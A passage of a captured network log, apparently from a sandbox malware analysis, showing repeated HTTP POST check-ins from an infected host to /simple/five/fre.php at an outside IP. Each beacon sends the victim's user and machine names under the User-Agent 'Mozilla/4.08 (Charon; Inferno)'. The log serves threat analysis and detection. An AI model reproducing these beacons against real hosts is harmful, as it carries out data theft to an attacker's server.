Oct 30, 2024 07:54:42.946930885 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.22	49227	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:43.087531090 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:43.092819929 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:44.296372890 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.22	49228	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:44.860908031 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:44.866333008 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:45.815138102 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.22	49229	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:45.960128069 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:45.965599060 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:46.916707039 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.22	49230	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:47.063215971 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:47.068516016 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:48.348298073 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.22	49231	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:48.487174034 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:48.492840052 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:49.455952883 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.22	49232	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:49.592266083 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:49.597654104 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:50.560970068 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.22	49233	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:50.706576109 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:50.712548018 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:51.680111885 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.22	49234	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:51.824389935 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:51.830441952 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:52.806888103 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.22	49235	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:53.127101898 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:53.132500887 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:54.096072912 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.22	49236	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:54.476700068 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:54.482153893 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:55.452620029 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.22	49237	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:55.610251904 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:55.615665913 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:56.572513103 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.22	49238	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:56.728204966 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:56.734016895 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:57.691412926 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.22	49239	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:58.043977976 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:58.050612926 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:59.011697054 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.22	49240	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:59.156202078 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:59.161756039 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:00.108786106 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.22	49241	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:00.382278919 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:00.387615919 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:01.334424973 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.22	49242	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:01.478048086 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:01.484369040 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:02.464839935 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.22	49243	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:02.599909067 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:02.605268002 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:03.569258928 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.22	49244	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:03.715441942 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:03.720869064 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:04.849865913 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.22	49245	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:04.998735905 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:05.005929947 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:05.939831018 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.22	49246	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:06.084923983 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:06.090491056 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:07.713009119 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Oct 30, 2024 07:55:07.713469982 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.22	49247	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:07.892426014 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:07.898648977 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:09.810971022 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Oct 30, 2024 07:55:09.812221050 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
